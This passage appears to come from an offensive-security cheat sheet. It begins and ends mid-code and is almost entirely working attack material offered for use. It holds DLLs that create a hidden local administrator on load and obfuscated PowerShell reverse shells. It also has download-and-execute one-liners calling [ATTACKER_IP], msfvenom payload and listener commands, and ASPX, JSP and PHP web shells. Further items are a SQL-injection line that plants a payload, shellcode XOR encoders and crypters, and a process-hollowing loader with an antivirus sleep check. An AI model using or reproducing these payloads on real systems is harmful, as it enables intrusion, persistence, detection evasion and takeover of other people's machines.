case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//
// RUNDLL32 entry point.
// https://support.microsoft.com/en-us/help/164787/info-windows-rundll-and-rundll32-interface
//
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
CreateAdminUserInternal();
}
#ifdef __cplusplus
}
#endif
//
// Command-line entry point.
//
int main()
{
return CreateAdminUserInternal();
}
DLL
New Admin with C
Explanation
It will create a new admin user: amit:Password123!, see the GitHub reference.
Compiling
x86_64-w64-mingw32-gcc -shared -o backdoor.dll newadmin.cpp
Code
/*
* ADDUSER.C: creating a Windows user programmatically.
*/
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <tchar.h>
DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
BOOL b;
DWORD dw;
USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_0 gd;
SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :)
BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256];
// Create user
memset(&ud, 0, sizeof(ud));
ud.usri1_name = _T("amit"); // username
ud.usri1_password = _T("Password123!"); // password
ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
ud.usri1_script_path = NULL;
rc = NetUserAdd(
NULL, // local server
1, // information level
(LPBYTE)&ud,
NULL // error value
);
if (rc != NERR_Success) {
_tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
_tprintf(_T("NetUserAdd OK\r\n"), rc, rc);
// Get user SID
b = LookupAccountName(
NULL, // local server
ud.usri1_name, // account name
Sid, // SID
&cbSid, // SID size
Domain, // Domain
&cbDomain, // Domain size
&snu // SID_NAME_USE (enum)
);
if (!b) {
dw = GetLastError();
_tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
return dw;
}
// Add user to "Administrators" local group
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers(
NULL, // local server
_T("Administrators"),
0, // information level
(LPBYTE)&gd,
1 // only one entry
);
if (rc != NERR_Success) {
_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
return 0;
}
//
// DLL entry point.
//
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateAdminUserInternal();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// RUNDLL32 entry point
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
CreateAdminUserInternal();
}
#ifdef __cplusplus
}
#endif
// Command-line entry point.
int main()
{
return CreateAdminUserInternal();
}
New Admin with C++
Explanation
It will create a new admin user: amit:Password123!, see the GitHub reference.
Compiling
# For 32-bits
i686-w64-mingw32-gcc -shared -oadduser32.dll adduser.c -lnetapi32
# For 64-bits
x86_64-w64-mingw32-gcc -shared -oadduser64.dll adduser.c -lnetapi32
Code
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
int i;
i = system ("net user amit Password123! /add");
i = system ("net localgroup administrators amit /add");
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
PowerShell
Obfuscated Reverse Shell
Option 1
$amit = New-Object System.Net.Sockets.TCPClient("[ATTACER_IP]",[PORT]);
$amit = $amit.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $amit.Read($bytes, 0, $bytes.Length)) -ne 0){;
$bruh = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$dback = (iex ". { $bruh } 2>&1" | Out-String );
$dback2 = $dback + "[" +$ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath('.\') +"]" + " PS > ";
$sdata =([text.encoding]::ASCII).GetBytes($dback2);
$amit.Write($sdata,0,$sdata.Length);
$amit.Flush()};
$amit.Close()
Option 2 - Highly Obfuscated
$apple = "172x16x196x1_8080" # Your IP address and port
$apple = $apple -replace 'x', '.'
$banana = $apple.LastIndexOf('_')
$cherry = $apple.Substring(0, $banana)
$date = [int]$apple.Substring($banana + 1)
try {
$cherry = New-Object System.Net.Sockets.TcpClient($cherry, $date)
$date = $cherry.GetStream()
$elderberry = New-Object IO.StreamWriter($date)
$elderberry.AutoFlush = $true
$fig = New-Object IO.StreamReader($date)
$elderberry.WriteLine("(c) Microsoft Corporation. All rights reserved.`n`n")
$elderberry.Write((pwd).Path + '> ')
while ($cherry.Connected) {
$grape = $fig.ReadLine()
if ($grape) {
try {
# Display the command after the prompt and execute it
$honeydew = Invoke-Expression $grape 2>&1 | Out-String
$elderberry.WriteLine($grape)
$elderberry.WriteLine($honeydew)
$elderberry.Write((pwd).Path + '> ')
} catch {
$elderberry.WriteLine("ERROR: $_")
$elderberry.Write((pwd).Path + '> ')
}
}
}
} catch {
exit
}
Meterpreter Reverse Shell
# If something is not working consider using 32-bits payloads (windows/meterpreter/reverse_http)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[LHOST] LPORT=[LPORT] EXITFUNC=thread -f ps1
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
$VirtualAllocAddr = LookupFunc kernel32.dll VirtualAlloc
$VirtualAllocDelegateType = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegateType)
$VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
# Replace with shellcode malicious code
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,......
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
Load Directly Into Memory (Reflective One-Liners)
- Proxy-aware
IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]/PowerView.obs.ps1')
- Non-proxy aware
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://[ATTACKER_IP]/PowerView.obs.ps1',$false);$h.send();iex $h.responseText
WebShells
ASPX
Steps
- Craft your payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[ATTACKER_IP] LPORT=443 -f aspx -o pay.aspx
- Encode the shellcode part of your payload using Caesar encryptor from a
C#Console App below; or use the XOR GUI Encryptor Tool from Utilities
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace CaesarEncrypt
{
class Program
{
static void Main(string[] args)
{
// INSERT SHELLCODE HERE
byte[] buf = new byte[685]
{
shellcodeHere
};
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(((uint) buf[i] + 5) & 0xFF);
}
StringBuilder hex = new StringBuilder(encoded.Length * 2);
foreach(byte b in encoded)
{
hex.AppendFormat("0x{0:x2}, ", b);
}
Console.WriteLine("The payload is: " + hex.ToString());
}
}
}
- Insert your shellcode below, and save it as
[PAYLOAD_NAME].ASPX
< % @ Page Language = "C#"
AutoEventWireup = "true" % > < % @ Import Namespace = "System.IO" % > < script runat = "server" > private static Int32 MEM_COMMIT = 0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE = (IntPtr) 0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId);
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
protected void Page_Load(object sender, EventArgs e)
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if (mem == null)
{
return;
}
byte[] oe7hnH0 = new byte[685]
{
shellcodeHere
};
for (int i = 0; i < oe7hnH0.Length; i++)
{
oe7hnH0[i] = (byte)(((uint) oe7hnH0[i] - 5) & 0xFF);
}
IntPtr uKVv = VirtualAlloc(IntPtr.Zero, (UIntPtr) oe7hnH0.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(oe7hnH0, 0, uKVv, oe7hnH0.Length);
IntPtr xE34tIARlB = IntPtr.Zero;
IntPtr iwuox = CreateThread(IntPtr.Zero, UIntPtr.Zero, uKVv, IntPtr.Zero, 0, ref xE34tIARlB);
} < /script>
- Setup your listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [Attacker_IP]; set lport 443; exploit"
- Upload it to the server and then find a way to trigger it in the web server
# Usually an upload functionality that after uploading allow us to see the files
# PowerShell Download
iwr -uri http://[ATTACKER_IP]/[NAME].aspx -o C:\inetpub\wwwroot\[PAYLOAD_NAME].aspx
# SQL Injection RCE
'; EXEC master.dbo.xp_cmdshell "powershell.exe iwr -uri http://[ATTACKER_IP]/[NAME].aspx -o C:\inetpub\wwwroot\[PAYLOAD_NAME].aspx";--
JSP
Reverse Shell Payload
<%@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
% >
<%!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;
try
{
isr = new BufferedReader(new InputStreamReader(is));
osw = new BufferedWriter(new OutputStreamWriter(os));
char buffer[] = new char[8192];
int lenRead;
while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe)
try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe)
}
}
%>
<h1>JSP Backdoor Reverse Shell</h1>
<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>
<%
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");
if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd.exe");
StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());
StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());
outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}
%>
RCE Payload
<%
/*
* Usage: This is a 2 way shell, one web shell and a reverse shell. First, it will try to connect to a listener (atacker machine), with the IP and Port specified at the end of the file.
* If it cannot connect, an HTML will prompt and you can input commands (sh/cmd) there and it will prompts the output in the HTML.
* Note that this last functionality is slow, so the first one (reverse shell) is recommended. Each time the button "send" is clicked, it will try to connect to the reverse shell again (apart from executing
* the command specified in the HTML form). This is to avoid to keep it simple.
*/
%>
<%@page import="java.lang.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.*"%>
<html>
<head>
<title>jrshell</title>
</head>
<body>
<form METHOD="POST" NAME="myform" ACTION="">
<input TYPE="text" NAME="shell">
<input TYPE="submit" VALUE="Send">
</form>
<pre>
<%
// Define the OS
String shellPath = null;
try
{
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
shellPath = new String("/bin/sh");
} else {
shellPath = new String("cmd.exe");
}
} catch( Exception e ){}
// INNER HTML PART
if (request.getParameter("shell") != null) {
out.println("Command: " + request.getParameter("shell") + "\n<BR>");
Process p;
if (shellPath.equals("cmd.exe"))
p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("shell"));
else
p = Runtime.getRuntime().exec("/bin/sh -c " + request.getParameter("shell"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
// TCP PORT PART
class StreamConnector extends Thread
{
InputStream wz;
OutputStream yr;
StreamConnector( InputStream wz, OutputStream yr ) {
this.wz = wz;
this.yr = yr;
}
public void run()
{
BufferedReader r = null;
BufferedWriter w = null;
try
{
r = new BufferedReader(new InputStreamReader(wz));
w = new BufferedWriter(new OutputStreamWriter(yr));
char buffer[] = new char[8192];
int length;
while( ( length = r.read( buffer, 0, buffer.length ) ) > 0 )
{
w.write( buffer, 0, length );
w.flush();
}
} catch( Exception e ){}
try
{
if( r != null )
r.close();
if( w != null )
w.close();
} catch( Exception e ){}
}
}
try {
Socket socket = new Socket( "192.168.119.128", 8081 ); // Replace with wanted ip and port
Process process = Runtime.getRuntime().exec( shellPath );
new StreamConnector(process.getInputStream(), socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(), process.getOutputStream()).start();
out.println("port opened on " + socket);
} catch( Exception e ) {}
%>
</pre>
</body>
</html>
PHP
<?php
SYSTEM($_REQUEST['cmd']);
// echo shell_exec($_GET['cmd']);
// echo passthru($_GET['cmd']);
?>
Upgrading Shells
General Steps
Theory
For all the following sections the steps are the same, these are to be compiled and serve as .exe to get
a Meterpreter reverse shell, remember that you can change the payload, for these purposes we use Meterpreter but you
can use any payload you want, every exploit implement a different attempt to bypass and execute to avoid AV Detection;
however the general steps are almost the same for all of them:
Steps
- Craft your payload
msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=[ATTACKER_IP] LPORT=443 -f csharp
msfvenom -p windows/x64/meterpreter/reverse_https exitfunc=thread LHOST=[ATTACKER_IP] LPORT=443 -f csharp
- Encrypt the shellcode with XOR and key
0xfa, you can either use the below code that you have to compile in Visual Studio and will give you the code, or you can useXOREncoder.exe(Utilities Section) that is an application already compiled that will give the code, or you can also use the Python script below as well
// C# Visual Studio - Console App (.NET)
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace XorCoder
{
public class Program
{
public static void Main(string[] args)
{
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
byte[] buf = new byte[511] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
...,
0xd5 };
// Encode the payload with XOR (fixed key)
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)((uint)buf[i] ^ 0xfa);
}
StringBuilder hex;
if (args.Length > 0)
{
switch (args[0])
{
case "-VBA":
// Printout VBA payload
uint counter = 0;
hex = new StringBuilder(encoded.Length * 2);
foreach (byte b in encoded)
{
hex.AppendFormat("{0:D3}, ", b);
counter++;
if (counter % 25 == 0)
{
hex.Append("_\n");
}
}
Console.WriteLine($"XORed VBA payload (key: 0xfa):");
Console.WriteLine(hex.ToString());
break;
default:
Console.WriteLine("Accepted arguments: -VBA to print VBA payload instead of C#");
break;
}
}
else
{
// Printout C# payload
hex = new StringBuilder(encoded.Length * 2);
int totalCount = encoded.Length;
for (int count = 0; count < totalCount; count++)
{
byte b = encoded[count];
if ((count + 1) == totalCount) // Dont append comma for last item
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}
if ((count + 1) % 15 == 0)
{
hex.Append("\n");
}
}
Console.WriteLine($"XORed C# payload (key: 0xfa):");
Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};");
}
// Decode the XOR payload
/*
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
*/
}
}
}
#!/usr/bin/python3
# Basic shellcode crypter for C# payloads
# By Cas van Cooten
import re
import platform
import argparse
import subprocess
from random import randint
if platform.system() != "Linux":
exit("[x] ERROR: Only Linux is supported for this utility script.")
class bcolors:
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
# Parse input arguments
def auto_int(x):
return int(x, 0)
parser = argparse.ArgumentParser()
parser.add_argument("lhost", help="listener IP to use")
parser.add_argument("lport", help="listener port to use")
parser.add_argument("format", help="the language to format the output in ('cs' or 'cpp')", nargs='?', default="cs")
parser.add_argument("encoding", help="the encoding type to use ('xor' or 'rot')", nargs='?', default="xor")
parser.add_argument("key", help="the key to encode the payload with (integer)", type=auto_int, nargs='?', default=randint(1,255))
parser.add_argument("payload", help="the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)", nargs='?', default="windows/x64/meterpreter/reverse_tcp")
args = parser.parse_args()
# Generate the shellcode given the preferred payload
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}")
result = subprocess.run(['msfvenom', '-p', args.payload, f"LHOST={args.lhost}", f"LPORT={args.lport}", 'exitfunc=thread', "-f", "csharp"], stdout=subprocess.PIPE)
if result.returncode != 0:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}")
# Get the payload bytes and split them
payload = re.search(r"{([^}]+)}", result.stdout.decode("utf-8")).group(1).replace('\n', '').split(",")
# Format the output payload
if args.format == "cs":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}")
for i, byte in enumerate(payload):
byteInt = int(byte, 16)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
payload[i] = "{0:#0{1}x}".format(byteInt,4)
payLen = len(payload)
payload = re.sub("(.{65})", "\\1\n", ','.join(payload), 0, re.DOTALL)
payloadFormatted = f"// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n"
payloadFormatted += f"// {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to '/tmp/payload.txt' in CSharp format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}")
print(payloadFormatted + "\n")
# Provide the decoding function for the heck of it
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
{{
buf[i] = (byte)((uint)buf[i] ^ {hex(args.key)});
}}"""
if args.encoding == "rot":
decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
{{
buf[i] = (byte)(((uint)buf[i] - {hex(args.key)}) & 0xFF);
}}"""
print(decodingFunc)
elif args.format == "cpp":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}")
encodedPayload = []
for byte in payload:
byteInt = int(byte, 16)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
encodedPayload.append(f"\\x{byteInt:02x}")
payLen = len(encodedPayload)
payload = re.sub("(.{64})", " \"\\1\"\n", ''.join(encodedPayload), 0, re.DOTALL)
payloadFormatted = f"// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n"
payloadFormatted += f"// {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"unsigned char buffer[] =\n {payload.strip()};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to '/tmp/payload.txt' in C++ format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}")
print(payloadFormatted + "\n")
# Provide the decoding function for the heck of it
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});
"""
if args.encoding == "rot":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255);
"""
print(decodingFunc)
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}")
-
Choose the type of exploit you need
- If
.exe: create a VS Project - Console App (.NET), and choose any of the code from the EXE subsection; insert the code inProgram.cs, remember to change any reference to names than don't match. - If
.dll: create a VS Project - Class Library (.NET), and choose any of the code from the EXE subsection; insert the code inClass1.cs, remember to change any reference to names than don't match.
- If
-
Compile for Release & x64 (depending on your target architecture)
-
Start your listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost [ATTACKER_IP]; set lport 443; exploit"
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [ATTACKER_IP]; set lport 443; exploit"
- (Optional) Depending on your choose of technique you may need to start a Python Server to server helper utilities
python3 -m http.server 80
EXE
Process Hollowing with Sleeper for AV Detection
Explanation
This C# program implements process hollowing via entry-point overwrite inside a suspended process. It
starts a benign process (svchost.exe) suspended, walks the target process's PEB to find the loaded image
base and the PE header, computes the process entrypoint address (handling ASLR), XOR-decodes an embedded shellcode
blob, writes that decoded payload directly over the target process's entrypoint, and then resumes the main thread so
the injected payload runs in the context of the host process.
High-level steps (mapped to the code)
- Create the target process in a suspended state using
CreateProcess(CREATE_SUSPENDED). - Query the target's PEB to get the image base using
ZwQueryInformationProcess. - Read the on-disk/loaded PE headers from the target with ReadProcessMemory to locate the entrypoint RVA.
- Compute the absolute entrypoint address by adding the image base + RVA.
- XOR-decode the embedded shellcode and overwrite the entrypoint with
WriteProcessMemory. - Resume the suspended thread to run the injected payload using
ResumeThread.
Code
using System;
using System.Runtime.InteropServices;
namespace ProcessHollowing
{
public class Program
{
public const uint CREATE_SUSPENDED = 0x4;
public const int PROCESSBASICINFORMATION = 0;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct ProcessInfo
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 ProcessId;
public Int32 ThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct StartupInfo
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct ProcessBasicInfo
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,
ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,
int dwSize, out IntPtr lpNumberOfbytesRW);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
public static void Main(string[] args)
{
// AV evasion: Sleep for 10s and detect if time really passed
DateTime t1 = DateTime.Now;
Sleep(10000);
double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
if (deltaT < 9.5)
{
return;
}
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
// XORed with key 0xfa
byte[] buf = new byte[511] {
0x06, 0xb2, 0x36...
0x2f
};
// Start 'svchost.exe' in a suspended state
StartupInfo sInfo = new StartupInfo();
ProcessInfo pInfo = new ProcessInfo();
bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero,
false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);
Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.");
// Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)
ProcessBasicInfo pbInfo = new ProcessBasicInfo();
uint retLen = new uint();
long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);
IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);
Console.WriteLine($"Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}.");
// Get entry point of the actual process executable
